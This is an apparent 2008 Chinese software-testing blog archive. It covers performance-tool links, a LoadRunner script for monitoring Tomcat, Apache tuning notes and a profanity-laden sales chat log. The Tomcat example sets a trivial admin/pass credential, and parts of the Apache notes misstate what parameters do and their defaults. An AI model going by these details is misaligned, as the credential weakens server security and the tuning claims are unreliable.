未来已来

发布新日志

  • 性能测试链接收集(zt)

    2008-12-13 19:49:21

    Capacity Planning

    CMG conference proceedings from 1997 through 2005 a unique collection of papers about capacity planning, performance engineering, and performance management

    Dr. Neil Gunther's Site and Blog

    Guerrilla Capacity Planning by Neil J. Gunther

    Performance management and capacity planning CMG papers written by BMC Software and pre-acquisition BGS employees

    Dr. Bernie Domanski's papers and presentations

    Dr. Norton's publications include papers on Simalytic Modeling as well as a number of other modeling related topics

    Capacity Planning and Performance Tuning Resources from Fortuitous

    Adrian Cockcroft's Blog performance, modeling, and capacity planning

    Capacity Planning for Internet Services. Quick planning techniques for high growth rates by Adrian Cockcroft and Bill Walker

    Open Source Capacity & Performance Management Tools for Windows & Unix Systems by Brian Johnson

    System Management by Exception by Igor Trubin

    Using Transaction Cost Analysis for Site Capacity Planning from Microsoft

    Capacity Model for Internet Transactions from Microsoft

    A Capacity Planning Framework for Multi-tier Enterprise Services with Real Workloads

    Capacity Planning for Internet Service Networks by Geoff Huston

    Capacity Planning: An Essential Tool for Managing Web Services by Virgílio A.F. Almeida and Daniel A. Menascé

    IBM Server and ERP Sizing Guides

    Capacity Planning Directory

    Quantitative System Performance the classic text by Lazowska, Zahorjan, Graham, and Sevcik

    Stochastic Petri Nets - An Introduction to the Theory book by Falko Bause and Pieter Kritzinger


    Tuning

    It is often difficult to separate information how to design systems with good performance (architecture, performance patterns, language structures, etc.) from information how to tune and deploy systems, quite often both sides are considered. Although more tuning- and product - oriented links are placed here, a lot of related information can be found in the Performance section. See also Bottlenecks.

    Wilson Mar's performance tuning notes mainly Windows and .Net
    Performance Methodology, Terminology and Concepts Tutorial from Intel
    Jaqui Lynch's Publications including UNIX, AIX, Linux, and Apache performance tuning
    Performance monitoring and capacity planning by Randy Johnson and Harris Kern, mostly DBMS-related tuning
    PerformanceWiki performance / tuning tips

    Windows
    Windows 2000 Performance Tuning Microsoft white paper
    Performance Tuning Guidelines for Windows Server 2003 Microsoft white paper
    Windows Server 2003 Performance and Scalability Microsoft white paper
    Windows System Resource Manager

    Linux/Unix
    Tuning IBM xSeries Servers for Performance IBM Redbook (Windows, Linux, NetWare, VMware)
    SarCheck Linux & UNIX performance analysis and performance tuning tool
    Solaris Internals and Performance FAQ
    AIX 5L Practical Performance Tools and Tuning Guide IBM Redbook
    Database Performance Tuning on AIX IBM Redbook
    Tuning Red Hat Enterprise Linux on IBM Eserver xSeries Servers IBM Redbook
    IBM System Planning Tool for POWER processor-based systems
    IBM System i and System p System Planning and Deployment: Simplifying Logical Partitioning IBM Redbook
    PowerVM Virtualization on IBM System p: Managing and Monitoring IBM Redbook
    AIX and Midrange Virtualization by Jaqui Lynch

    VMware
    VMware Technical Resources a lot of performance-related technical papers
    Performance Best Practices and Benchmarking Guidelines VMware Infrastructure 3 version 3.5 with ESX 3.5, ESXi 3.5, and VirtualCenter 2.5

    Virtualization
    V or Not to V: A Practical Guide to Virtualization paper and presentation by Gene Fernando

    Apache Web (aka IBM HTTP) Server
    Apache 1.3 Performance Notes
    Apache 2.0 Performance Tuning
    Apache Performance and Security Guide by Nasim Mansurov
    Tuning Apache Web Servers for Speed by Dean Gaudet

    Microsoft IIS
    The Art and Science of Web Server Tuning with Internet Information Services 5.0
    IIS 6.0 Performance Tuning

    WebLogic
    Workload Management in WebLogic Server 9.0 by Naresh Revanuru
    Avoiding Unnecessary JSP Recompilation by Nagesh Susarla
    WebLogic 9.2 Server Performance and Tuning manual
    WebLogic 9.1 Server Performance and Tuning manual
    WebLogic 9.0 Server Performance and Tuning manual
    WebLogic 8.1 Server Performance and Tuning manual
    WebLogic 7.0 Server Performance and Tuning manual

    WebSphere
    WebSphere Application Server V6: Scalability and Performance Handbook
    WebSphere 6.0 Tuning Performance from WebSphere documentation
    WebSphere 5.1 Performance Tuning and Monitoring (pdf) from WebSphere documentation
    Recommended reading list: J2EE and WebSphere Application Server from IBM Software Services, includes Performance and Monitoring
    WebSphere 5.0.2 Performance Tuning and Monitoring (pdf) from WebSphere documentation
    WebSphere V5.1 Performance, Scalability, and High Availability IBM Redbook
    DB2 UDB V8 and WebSphere V5 Performance Tuning and Operations Guide IBM Redbook
    Meet the experts: Stacy Joines and Gary Hunt on WebSphere performance
    Monitoring WebSphere Application Performance on z/OS

    MQ
    Performance: Getting the Most Out of WebSphereMQ

    Microsoft SQL Server
    SQL Server 2008, Monitoring and Performance from Microsoft MSDN
    SQL Server 2005, Database Engine Administrator InfoCenter from Microsoft MSDN
    SQL Server 2000, Optimizing Database Performance Overview from Microsoft MSDN
    SQL Server 2000, Monitoring Server Performance and Activity from Microsoft MSDN
    SQL Server Performance site about Microsoft SQL Server performance tuning and optimization
    Analyzing and Optimizing Performance SQL Server 2000 Analysis Services, from Microsoft MSDN
    SQL Nitro, network acceleration for SQL Server

    Oracle
    Oracle Database Performance Tuning Guide 11g Release 1 (11.1) manual from Oracle
    Oracle Database Performance Tuning Guide 10g Release 2 (10.2) manual from Oracle
    Oracle Database Performance Tuning Guide and Reference 9i Release 2 (9.2) manual from Oracle
    Oracle database performance problems and tuning by SearchOracle.com (free registration required)
    Oracle Statspack Survival Guide
    Automatic Workload Repository
    Learning Guide: Performance tuning by SearchOracle.com (free registration required)

    DB2
    DB2 UDB Practical Performance Tuning by John Maenpaa
    DB2 8.2 Administration Guide: Performance (pdf) from DB2 8 documentation
    DB2 7.2 Administration Guide: Performance (pdf) from DB2 7 documentation
    DB2 UDB V7.1 Performance Tuning Guide IBM Redbook
    DB2 Performance Expert for Multiplatforms V2 IBM Redbook
    DB2PORTAL.com DB2 resources for the mainframe
    DB2 UDB for z/OS Version 8 Performance Topics IBM Redbook
    DB2 9 for z/OS Performance Topics IBM Redbook
    DB2 UDB for z/OS: Design Guidelines for High Performance and Availability IBM Redbook
    DB2 for z/OS: DB2 Universal Database concurrency by Fred Whitlark
    A Deep Blue View of DB2 Performance: IBM Tivoli OMEGAMON XE for DB2 Performance Expert on z/OS IBM Redbook
    Local vs Remote Database Access: A Performance Test IBM Redpaper
    DB2 UDB V8 and WebSphere V5 Performance Tuning and Operations Guide IBM Redbook

    MySQL
    MySQL Server Performance Tuning by Jeremy Zawodny (free Linux Magazine registration required)
    MySQL 5.1 Reference Manual

    Oracle Applications
    Oracle Documentation for all products
    Oracle E-Business Suite Technology - Optimizing Performance blog

    Oracle EPM and BI
    Oracle EPM and BI Documentation
    Oracle EPM and BI White Papers


    Modeling Tools

    Each vendor site provide many interesting documents about modeling, capacity planning, performance management, etc.

    BMC Performance Assurance solutions (former BEST/1, Patrol Perform &Predict)

    TeamQuest
            How to Do Capacity Planning

    Metron Athene, "provides ITIL-compliant capacity management, automatic performance analysis and reporting for UNIX, Linux, Windows and Mainframe Servers."

    HyPerformix Predictive IT Management Suite includes HyPerformix Optimizer (uses discrete event simulation modeling technology), HyPerformix Capacity Manager and HyPerformix Data Manager.
        Integrated with LoadRunner.LoadRunner is one of data sources for Hyperformix. For some time Mercury promoted HyPerformix as Mercury Capacity Planning.
        Wilson Mar's notes

    OPNET IT Guru Systems Planner

    PDQ - open source from Dr. Neil Gunther

    Ptolemy II is a set of Java packages supporting heterogeneous, concurrent modeling and design from UC at Berkeley, free for academic and commercial use.

    Microsoft System Center Capacity Planner

    A Collection of Modelling and Simulation Resources on the Internet by Andrea Emilio Rizzoli


    Application Performance Management Tools

    A new class of software for performance monitoring and diagnostics in production or under load. Basic monitoring (using operating systems tools and utilities) are considered in the Monitoring section.

    Gartner Magic Quadrant for J2EE Application Server Management, 2005

    Oracle Enterprise Manager manages Oracle and non-Oracle technologies within a single console. Oracle Application Diagnostics for Java.

    HP Diagnostics (former Mercury) is integrated with both Performance and Business Availability Centers. Includes Mercury Diagnostics for J2EE (former LoadRunner Transaction Breakdown), .Net and ERP/CRM (Siebel, Oracle, and SAP NetWeaver) and Deep Diagnostics for J2EE (former Performant OptiBench).

    Wily Introscope gives the ability to quickly isolate and resolve performance issues in each stage of the application lifecycle. J2EE.

    Precise Software Application Performance Management (was also Symantec, Veritas) solutions to optimize the performance and availability of enterprise applications including J2EE, .NET, databases (DB2, Oracle, and SQL Server), and ERP/CRM (SAP, PeopleSoft, Siebel, and Oracle Applications).

    Quest Application Management (including former Sitraka products) optimizing performance and availability for J2EE, Oracle E-Business, PeopleSoft, SAP, Siebel.
    Quest Database Management  ensures database quality, performance, and availability for Oracle, DB2, SQL Server, MySQL, and Sybase.
    Quest White Papers

    IBM Tivoli Application Management, including products from acquired Cyanea and Candle
    Large-Scale Implementation of IBM Tivoli Composite Application Manager IBM Redpaper
    IBM Tivoli Composite Application Manager V6.0 Family: Installation, Configuration, and Basic Usage IBM Redbook

    IBM Enterprise Workload Manager Resources. An IBM attempt to extend the mainframe technology to other platforms.
    IBM Enterprise Workload Manager V2.1 IBM Redbook
    Hardening the EWLM Performance Data IBM Redpaper
    Performance monitoring with Enterprise Workload Manager. Enable ARM instrumentation for end-to-end performance monitoring in IBM middleware on AIX and Linux by CheKim Chhuor

    Compuware Vantage products, including Vantage Analyzer for J2EE
    Compuware Strobe application performance management for z/OS applications

    OPNET application performance solutions including Panorama (former Altaworks) "realtime application monitoring and analytics".

    QuickVision from ClearApp Production Monitoring & Diagnostics for WebLogic and WebSphere (former Acsera)

    Identify AppSight is positioned a little differently. "AppSight's patented Black Box technology monitors application execution and captures a synchronized record of user activity, configuration, and code execution in real time. Simply play back the Black Box log to quickly pinpoint the root cause of problems. That's any problem - performance, configuration, functional, or user errors - in Windows, .NET, and J2EE applications". Part of BMC Software.

    BEZ Systems BEZPlus Predictive Performance Management solutions for Oracle, DB2, and Teradata.

    Symphoniq TrueView "monitors Web application performance from browser to back-end to automatically detect and diagnose problems inside or outside the datacenter."

    Nimsoft (acquired Indicative) proactive service level, application performance and business service management

    dynaTrace performance diagnostics of Java/J2EE and .NET Applications, promises a deep look into the inner workings of applications under load

    Performance Management directory from KnowledgeStorm


    Enterprise Monitoring Tools

    Tools allowing monitoring of multiple servers including alerting and reporting. Basic monitoring (using operating systems tools and utilities) are considered in the Monitoring section.

    PerfMan from ISM, cross-platform from Windows to z/OS

    PerfCap Performance Management and Capacity Planning software, supported on IBM-AIX, HP-UX, SUN Solaris, Tru64 Unix, Linux, Windows NT/2000/XP and OpenVMS platforms

    WHAM monitoring and low-overhead profiling for AIX, Solaris, and Linux

    Performance SeNTry (also known as NTSMF) from Demand Technology, high-performance Windows performance monitor

    Sysload from Sysload Software, cross-platform including agents for databases and applications

    Meta-View Performance Manager from Lund, Windows and different flavors of UNIX

    Performance and Availability Management from NetIQ

    PROGNOSIS from Integrated Research (IR), "real-time, systems management software for high-availability computing environments"

    Performance Management from ASG (acquired Landmark)

    MonitorIT from Breakout Software, "Complete WINDOWS, SNMP, & SYSLOG Monitoring"

    Heroix multiplatform, automated monitoring and management software

    BMC ProactiveNet Analytics (former ProactiveNet) end-to-end performance monitoring and real-time analysis to identify performance issues

    List of Free Performance Monitoring Tools from MFJ Associates


    Transaction Tracking / Business Activity Monitoring

    Oracle Enterprise Manager Real User Experience Insight (former Moniforce UXInsight) monitors real user activity, provide analysis and notifications

    HP TransactionVision (former Bristol Technology) tracks customer transactions throughout their entire lifecycle. It provides Business Process Monitoring that increases visibility into your customer facing transactions.

    SeaView/RTM (Response Time Monitor) "passively captures network packets via a spanned port on the server switch. The software discovers and captures granular data describing all application sessions in real time. Built into the SeaView architecture is the ability to plug in application-specific modules that probe deeply into captured packets to measure the performance of actual business transactions."

    TeaLeaf "provides real-time, browser-level visibility into every customer's online experience."

    OpTier "delivers end-to-end visibility and control of all business transactions, across all tiers."

    Quest End User Management

    Coradiant End-User Experience Management

    Business Activity Monitoring with WebSphere Business Monitor V6.1 IBM Redbook

    Business Activity Monitoring (BAM) directory from KnowledgeStorm


    Performance-Related Technologies

    DataSynapse virtualizes applications across a real-time infrastructure

    Appistry Enterprise Application Fabric (Appistry EAF) "software-based environment for running large-scale, time-critical applications on commodity-grade computers, without sacrificing dependability or manageability"


    Network Performance Management

    NetPerformance.com "the first Web site dedicated to network performance management"

    Guide to Network Performance Management and Network Performance Management from TechTarget (free registration required)

    The End All of Network Performance Management by Bruce Boardman, six network performance management products tested (Argent Guardian 6.0a, Compuware Vantage 8, Concord eHealth Suite 5.0.2, NetScout nGenius Performance Manager 1.4, NetQoS SuperAgent 3.0, and ProactiveNet 4.1.2)

    Network Performance Directory

    List of Free Performance Monitoring Tools from MFJ Associates

    John Sellens's System and Network Monitoring Page

    NetQoS "Performance First Network Management"

  • LoadRunner 实现监控Tomcat

    2008-12-10 22:22:53

         

      LoadRunenr没有监控Tomcat的专用监控器,为了用lr达到监控tomcat的目的可以通过打开Tomcat自带的Status页面之后,利用lr的关联技术得到相关的数据,把数据输出到lr自定义的监控器中。

       1.打开Tomcat的status页面,方法为编辑Tomcat的conf目录下的tomcat-users.xml文件,在文件中添加
    <tomcat-users>
      <role rolename="manager"/>
      <user username="admin" password="pass" roles="manager"/>
    </tomcat-users>

      2.开发lr脚本

      lr_start_transaction("monitor tomcat");
      web_reg_save_param("JVMFreeMemory",
         "LB=Free memory: ",
         "RB= MB",
         "Ord=1",
       LAST);
       web_reg_save_param("JVMTotalMemory",
       "LB=Total memory: ",
       "RB= MB",
       "Ord=1",
       LAST);
     
        web_reg_save_param("JVMMaxMemory",
         "LB=Max memory: ",
         "RB= MB",
         "Ord=1",
        LAST);
     
        web_url("status",
            "URL=http://{ServerName}/manager/status",
            "Resource=0",
            "RecContentType=text/html",
            "Referer=",
            "Snapshot=t1.inf",
            "Mode=HTTP", 
        LAST);
     
       lr_end_transaction("monitor tomcat", LR_AUTO);
     
    // Tomcat JVM metrics
      lr_user_data_point("Tomcat JVM Free memory", atof(lr_eval_string("{JVMFreeMemory}")));
      lr_user_data_point("Tomcat JVM Total memory", atof(lr_eval_string("{JVMTotalMemory}")));
       lr_user_data_point("Tomcat JVM Max memory", atof(lr_eval_string("{JVMMaxMemory}")));

  • 应该有愿景!

    2008-12-03 15:50:42

       

         10年企业靠人、50年企业靠制度、100年企业靠文化。精神不是公司的规章制度,不是公司的发展战略,它是公司的愿景、使命和核心价值观。公司是一个有生命的组织,如果它没有思想、文化、灵魂,它就会失去生命。公司愿景是指企业实现的未来景象,回答的是“企业在未来将成为什么样的企业”。也就是企业长期发展的方向、目标、目的、理想、愿望,以及企业自我设定的社会责任和义务,明确指定公司在未来社会范围是什么样子。

         伟大的公司一定是长跑冠军的公司、做长线的公司、经营未来的公司、做百年老店的公司。

         转: “没有愿景,就没有灵魂。为了赚钱而赚钱,就不会赚钱。为了追求理想,就要不断地学习,向前走,就会成长。人没理想是很痛苦的事。企业也像人一样,先要有下一个理想等着你。公司是一个实现理想的地方,让所有的人成为一个团队,实现共同的梦想。”

  • 谁才是真正的骗子

    2008-12-02 17:53:44

       

           星期天下午到公司,接到一封同事孙宗卫发给我的邮件,附件有一份聊天纪录,看了聊天纪录之后,心里特别不舒服,以为是我们自己的学员。事情是这样一个人在网站(www.51testing.net)上咨询51testing的培训,然后加了孙忠卫咨询,后来说到就业问题的时候,该学员指责51testing上的就业名单都是虚假的。其中该小伙义愤填膺,多次脏话出口,后来说是51testing在深圳已经毕业的学员,而且毕业了5个多月了(但是深圳51testing第一期学员要到12月20日左右才毕业,现在班级里接近三分之一已经找到工作),如果毕业后在一定时间里没有找到工作51testing是要全额返回学费的,他后来又改口说自己是北京的学员,找到北京的同事,北京说没有这样的学员。

          看了下聊天纪录分析来分析去,也不像我们自己的学员。所以把这个人的qq个人信息打开,看看有什么蛛丝马迹看到个人信息有一个51JOB上的个人简历,就登陆到51JOB上察看该人简历,看到了该人简历之后,终于明白了,该人为 “某培训机构“ 的学员,简历中写他在一家公司工作,但是这家公司根本就是一个培训的公司不可能有他写的职位(该公司的招聘岗位信息  http://www.tarena.com.cn/job.asp)。

        为什么会这样,我觉得很多都是培训机构的功利行为,只为了赚钱而不是为了真正帮学员解决问题,在北京的时候,记得很早以前就有两个做测试的两口子做软件测试培训,晚上在自己的家里开课,周六周日上课,既不耽误工作又可以赚钱,想想我自己也挺羡慕的。在上海一个朋友给某一个培训机构当兼职老师,觉得挺不错然后自己搞了一个网站,拉了一帮人 全国到处做培训,另外一个人培训lr 600块两天培训,有人说骗钱 培训一点没有效果自己都没有把问题搞明白就去给别人培训。捞一笔的人太多了,导致大家对培训都不信任了。

       附上聊天纪录:

    追风  13:36:30
    你们的就业情况怎么样
    孙老师 13:36:51
    来选择一个培训主要有二点,一点是学到实际的技能, 二点是有个好的工作
    孙老师 13:37:00
    这两点在51都能保体现
    追风  13:37:21

    你们拿什么保证 
    孙老师 13:38:47
    关于技能,从04年开始到目前一直致力于软件测试专业培训,涉及有企业内训,就业培训,周未培训,测试外包服务,测试工具等业务,
    孙老师 13:39:16
    关于就业是通过入学考试签订合同保证就业
    追风  13:39:45

    你们要学哪些课程
    追风  13:40:14
    你们是用什么语言的
    孙老师 13:40:49
    考试要考C语言和数据库
    追风  13:42:44
    什么考试
    孙老师 13:43:49
    入学考试
    追风  13:44:54

    这么严重

    追风  13:48:04

    可不可以看看你们的就业名单

    孙老师 13:48:19
    网上每一期学员的就业信息都有的
    追风  13:48:39
    什么网址
    追风  13:48:53
    我要看真实的

    孙老师 13:49:06
    网上信息是真实的
    追风  13:49:28
    你们是不是先就业后付款的
    追风  13:49:55
    什么网址
    孙老师 13:50:44
    www.51testing.net
    追风  13:56:59
    你们学生全部没有电话号码的
    追风  13:57:13
    又没有工资的
    追风  13:57:29
    不随便你们怎么写都行
    追风  13:59:35
    鬼才相信你们呢
    孙老师 14:00:53
    嗯,给你发了邮件,里面有信息,你可以查收一下
    追风  14:02:29
    这些都是没用的
    追风  14:02:42
    你知不知道达内
    追风  14:03:03
    别人还先就业后付款呢
    追风  14:03:21
    也有一大堆人未就业
    追风  14:03:40
    不要再骗人了
    孙老师 14:03:51
    嗯,你要这样说我就没有什么话可以说了
    孙老师 14:04:01
    先就业后付款需要本科学历,不是没有的
    追风  14:05:22
    妈的
    垃圾
    我就是从你们哪里毕业的
    追风  14:05:31
    现在没找到工作
    孙老师 14:06:05
    嗯,那你为什么不直接在客户聊天的信息直接说呢,而非要等待到我这里呢
    追风  14:07:02
    没有呀
    是你们的一个贱人要我加的
    追风  14:07:19
    我操你们老母
    孙老师 14:08:32
    可以说说你现在的问题吗,我能帮你做些什么的
    孙老师 14:08:47
    你这么发脾气也解决不了问题,你说是吗
    追风  14:09:23
    我花了钱
    还是找工作不到
    追风  14:09:41
    你们教的东西没用

    追风  14:09:59
    你们还要到处骗人
    孙老师 14:10:01
    嗯,你可以把你的简历发给我吗
    追风  14:10:21
    发给你有个屁用
    追风  14:10:38
    不要再忽悠别人了
    孙老师 14:10:37
    我这边找我们就业老师帮你修改给公司推荐的
    追风  14:11:11
    我们班上现在还只有几个人找到工作了
    追风  14:11:34
    怎么办
    靠你们早就饿死了
    孙老师 14:12:41
    你是在哪里培训的呢
    追风  14:13:00
    深圳
    追风  14:13:12
    我现在到广州找工作了
    追风  14:13:22
    就快要回家过年了
    孙老师 14:13:25
    可以说下你的名字吗
    追风  14:13:51
    妈的
    骗死人不偿命
    孙老师 14:15:12
    首先不管怎么说,如果没有找到工作,半年之内是需要把学费退还给你们的
    追风  14:15:44
    有吗
    那我就快五个月了
    孙老师 14:16:12
    对于目前的工作情况是因为金融危机的影响而且再加上过年了,好多公司都停止招聘了
    孙老师 14:16:39
    嗯,您是51testing培训的吗
    追风  14:16:52
    是呀


    孙老师 14:16:58
    深圳51testing培训暂时还没有毕业的
    追风  14:17:11
    就是被你们骗的

    孙老师 14:17:16
    你是否弄错了的
    追风  14:17:36
    绝对没错
    孙老师 14:18:10
    嗯,那应该学员还没有毕业的
    孙老师 14:18:35
    最早一期学员要到12月20日左右全部结束课程的
    追风  14:20:15
    妈的
    老子还是北京学的
    到北京,深圳,广州都找不到
    孙老师 14:20:56
    嗯,你是在北京学的哪一期学员
    追风  14:21:17
    告诉你有用吗
    孙老师 14:21:28
    可以的
    追风  14:21:56
    我已经对你们失去了信心

    追风  14:22:14
    明年就等你们退钱了
    孙老师 14:22:50
    嗯,你有跟学样签合同的
    追风  14:23:17
    是呀
    孙老师 14:23:37
    嗯,是可以按照所签合同履行条款的,这个你不用担心
    追风  14:23:47
    你们不退钱
    老子就去你们哪里吵
    追风  14:24:17
    把你们的牌子砸了
    孙老师 14:25:13
    不会的,你是什么时候毕业的呢

        觉得这个孩子挺可怜的

        希望世界上少一点急功近利的公司 多一些真真做事情的公司 真正为大家解决问题。

           

  • QTP FrameWork 子文件夹

    2008-12-02 14:36:48

    例:
    1.scrīpt files (.mts)
    2.OR files (.mtr-> per action , .tsr-> shared)
    3.Library files( .vbs)
    4.Recovery files (.qrs)
    5.Test Data files .xls
    6.Output/Result files (.xml)
    7.Functions (.txt)
    8. Documents (.xls or xlsx)
     
    例:
    1.SoftWare
    2.Config
    3.Log
    4.Report
    5.Test Data
    6.lib
    7.Documents
  • Apache 性能调优(编撰)

    2008-12-02 13:59:22

      Apache音译为阿帕奇,是北美印第安人的一个部落,叫阿帕奇族,在美国的西南部。相传阿帕奇是一个武士,他英勇善战,且战无不胜,被印第安人奉为勇敢和胜利的代表,因此后人便用他的名字为印第安部落命名,而阿帕奇族在印第安史上也以强悍著称。Apache是世界使用排名第一的Web服务器。它可以运行在几乎所有广泛使用的计算机平台上。

      在进行web性能容量规划的时候首先利用Apahce首先计算内存消耗:

      apache_max_process_with_good_perfermance < (total_hardware_memory / apache_memory_per_process ) * 2

      apache_max_process = apache_max_process_with_good_perfermance * 1.5

      为什么会有一个apache_max_process_with_good_perfermance和apache_max_process呢?原因是在低负载下系统可以使用更多的内存用于文件系统的缓存,从而进一步提高单个请求的响应速度。在高负载下,系统的单个请求响应速度会慢不少,而超过 apache_max_process,系统会因为开始使用硬盘做虚拟内存交换空间而导致系统效率急剧下降。此外,同样的服务:2G内存的机器的 apache_max_process一般只设置到1G内存的1.7倍,因为Apache本身会因为进程过多导致性能下降。

      例子1:

      一个apache + mod_php的服务器:一个apache进程一般需要4M内存

      因此在一个1G内存的机器上:apache_max_process_with_good_perfermance < (1g / 4m) * 2 = 500

      apache_max_process = 500 * 1.5 = 750

      所以规划你的应用让服务尽量跑在500个进程以下以保持比较高的效率,并设置Apache的软上限在800个。

      例子2:

      一个apache + mod_resin的服务器: 一个apache进程一般需要2M内存

      在一个2G内存的机器上:

      apache_max_process_with_good_perfermance < (2g / 2m ) * 2 = 2000

      apache_max_process = 2000 * 1.5 = 3000

      Apache所在的机器与操作系统环境是对性能影响最大因素,很明显,一以368的PC与一台P4或双处理器的机器不会有同样的性能。不过,如果不涉及硬件的改变,我们可以做的最大的事是首先看一下Apache是否运行在一台专用的服务器上,如果与其它应用共用一台服务器肯定会影响服务器的性能。

      在大多数情况下,告别是对静态网站而言,内存数量是一个影响性能的关键因素,因为它决定了Apache可以缓存多少内容。它缓存的内容越多,在硬盘上读取内容的机会就越少,而存取硬盘上的特定文件是一件很费时的操作。如果你的网站主要是一些静态内容,你最好使用mod_cache选项,如果你的内存足够大,可以使用mod_mem_cache选项。

      第一个选项将信息缓存在磁盘上,当它与mod_include选项一起使用时会有很好的效果,这个选项在建立一个页面时在缓存中保存它的最终版本。使用mod_mem_cache将缓存内容保存在一个可以被所有Apache进程共享的内存堆中。

      使用更快的磁盘或进一步使用RAID可以提高Apache对磁盘文件的访问速度。注意,如果你做了下面的所有这些优化,一个硬件的(而非软件)升级方案是更好的选择。最后一个谈到的关于硬件的问题是CPU能力,这对动态内容网站的影响很大,动态内容越多要求越高。

      以下是影响Apache的性能配置参数:

      Timeout  300

      指定站点响应的时间秒数。若超过这段时间仍未收到或送出数据,就断开连接。意思是该参数指定Apache在接收请求或发送所请求内容之前的最长等待时间(秒),若超过该时间Apache则放弃处理该请求,并释放连接。该参数默认值为120,推荐设置为60,对于访问量较大的网站可以设置为30。

      KeepAlive On|Off

      启用此项,表示允许保持持久连接,让每次连接能提出多个请求。避免每请求一个文件就跟服务器建立一次连接。也就是控制Apache是否允许在一个连接中有多个请求,默认打开。但对于大多数论坛类型站点来说,通常设置为off以关闭该支持。

      MaxKeepAliveRequests 100

      每次连接可提出请求的数量,设置为0表示数量不限,默认值为100。.

      KeepAliveTimeout 15

      连续两个请求之间的时间如果超过15秒还未到达,则视为连接中断。这种做法可以最大限度地利用有限的资源,这也是Apache性能如此优越的原因之一。

      MinSpareServers 5

      MaxSpareServers 20

      Apache在运行时会根据负载的轻重自动调整空闲子进程的数目。

      提供浏览服务的httpd进程的数目需要随连接数目的多少而变化,因此需要随时保持几个闲置的httpd进程等候新的连接请求。若闲置的进程数少于5个(默认值),则表示闲置进程太少,需要将其增加到5个;

      若多于20个(默认值)则表示闲置进程太多,需将其减少到20个。

      MaxClients 150

      同时接入的数目太多时会降低系统访问性能,设置此参数可限制同时连接的最大数值,默认值为150,它设定的就是Apache可以同时处理的请求,这是对Apache性能影响最大的参数

      MaxClients和MaxRequestPerchild;MaxClients指定Apache在同一时间内最多允许有多少客户端能够与其连接,如果超过MaxClients个连接,客户端将会得到一个“服务器繁忙”的错误页面。我们看到默认情况下MaxClients设置为15,这对一些中型站点和大型站点显然是远远不够的!也许您需要同时允许512个客户端连接才能满足应用需求,好吧,那么就让我们把MaxClients修改为512,保存httpd.conf并退出,重启Apache,很遗憾,在重启过程当中您看到了一些错误提示,Apache重启失败。错误提示中告诉您 MaxClients最大只能设定为256,相信您一定很失望。不过不要沮丧,Apache作为世界一流的Web Server一定不会如此单薄的!在默认情况下,MaxClients的确只能设定为不超过256的整数,但是,如果您有需要完全可以随意定制,此时就需要使用ServerLimit参数来配合使用,简单的说ServerLimit就像是水桶,而MaxClients就像是水,您可以通过更换更大的水桶(将ServerLimit设定为一个较大值)来容纳更多的水(MaxClients),但要注意,MaxClients的设定数值是不能大于 ServerLimit的设定数值的!下面让我们了解一下MaxRequestPerChild参数,该参数指定一个连接进程中可以有多少个线程同时工作。也许这样解释过于专业,那么您只要想想“网络蚂蚁”、“网际快车FlashGet”中的“多点同时下载”即可,该参数实际上就是限制最多可以用几个“点”。默认设置为0,即为:不限制。但需要注意,如果将该值设置的过小会引起访问问题,如果没有特殊需要或者访问量压力并非很大可以保持默认值,如果访问量很大则推荐设置为2048

      优化建议:

      # 升级 Apache 到最新版本,新版本往往包含性能提升和安全更新。

      # 在 httpd.conf 中设置 "HostNameLookups off" 能避免针对每个访问者的 DNS 域名的反向查询。

      # 对于繁忙的网站,在 httpd.conf 中设置 "MaxClients 230" 或者更高。这项设置让更多的 httpd 进程同时响应请求,并避免了处理器排队的情况发生。

      # 采用另外一台服务器处理图片文件。

      # 缺保您的 Web 页面和 CGI 页面采用了浏览器缓冲技术。具体的文章可以参考本站:采用 mod_gzip 加速 Zope 和 Apache

      # 保持您的 Apache 苗条,编译那些仅仅需要的模块,在编译之前,修改 src/Configuration 文件,在那些不需要的模块之前用 # 号注释掉。

      # 如果不需要流量日志,那么把 httpd.conf 中的 TransferLog 指向到 /dev/null/

      # 除非你确定使用 .htaccess 文件来控制一些目录的权限,否则设置 "AllowOverride None" ,这样就免去 Apache 在每个目录搜索 .htaccess 文件的劳役之苦。

      # 不要让不需要的后台进程运行。

      # 千万不要把页面或者日志文件写到网络磁盘上,例如 NFS。

      # 不要让 Apache (httpd) 运行于 inetd 模式。

      # 不要让 X Windows 运行在你的 Web 服务器上,用 Ctrl-Alt-Backspace 关闭 X 。

      # 避免使用 SSI tag。

      # 在 CGI 脚本中:

      * 文件 I/O:打开的文件数目越少越好。

      * Shell 命令:采用全路径来调用 shell 命令。

      * 如果你的网站主要以 CGI 来驱动,那么请使用 mod_perl。

      * 在你的 Web 页面目录中,不要让文件数超过 1000 个,文件越多花费在定位上的时间也越多。

      # 在 Web 服务器上的图片越少越好,保证每个图片都经由图片压缩器运行。

      # 对你的网站做压力测试,建议采用 Apache 自带的 ab 命令来测试。

      # 为了最好的性能,最好把网线拔掉,这样你的 Web 服务器就十分安全,而且负载马上降为 0,


  • 11楼的厕所(转)

    2008-11-26 17:18:53

     

    本文转之北京同事马丽的空间,北京51testing从2007年3月23日开始做就业培训以来,到现在已经开了接近20期班(马上月底就业开新的一期班),现在北京同时并行开班8个班,在读学员就有300多人。离开北京有4个多月,很怀念北京的同事,看到本篇11楼的厕所,感慨万千。。。。。。。。。。。

    http://new.qzone.qq.com/274115296

    11楼的厕所比较倒霉
    因为51TESTING的存在,11楼的厕所每天都跟过年一样的热闹
    可能整个大厦只有11楼的厕所每天都是大门敞开,气味新鲜
    11楼打扫卫生的阿姨每天唠叨个不停,虽然不知道她今年多大岁数,但我怀疑她应该是开始更年期提前。
    她像个卫生监督员
    只要白天她在这个楼层工作,就会跟交通警察一样,盯着每一个上厕所的人,并且指导你如何正确使用公用厕所。
    每次上厕所如果遇见她,就会莫名其妙的变的紧张……
    不光是我们得到她的特殊照顾,连隔壁办公室的大爷们拎暖壶打热水,她也要照看,并且不时的盯着壶底儿是否漏水
    阿姨特别希望能做我们的生活班主任,我觉得如果她做生活班主任,绝对够资格,她巴不得每次开班都站在讲台上给全体新生介绍一下公共厕所的使用须知、注意事项。

    倒霉的11楼的厕所,每天都是灾难重重
    每次一下课,
    排队现象不差于买火车票了
    就连12层的厕所也跟着倒霉
    呵呵,谁让我们人多呢。

  • lrscript for test Lotus project performance (zz)

    2008-11-24 12:00:38

  • 监控Window2003Server的计数器以及阀值

    2008-11-23 11:20:46

     

    Type

    Object\Counter

    Threshold

    Action

    Memory

    Memory\Available Bytes

    Less than 4MB

    Check for memory leaks and add RAM if necessary

    Memory

    Memory\Pages/ sec

    20

    Investigate paging settings

    Paging File

    Paging File\% Usage

    Above 70%

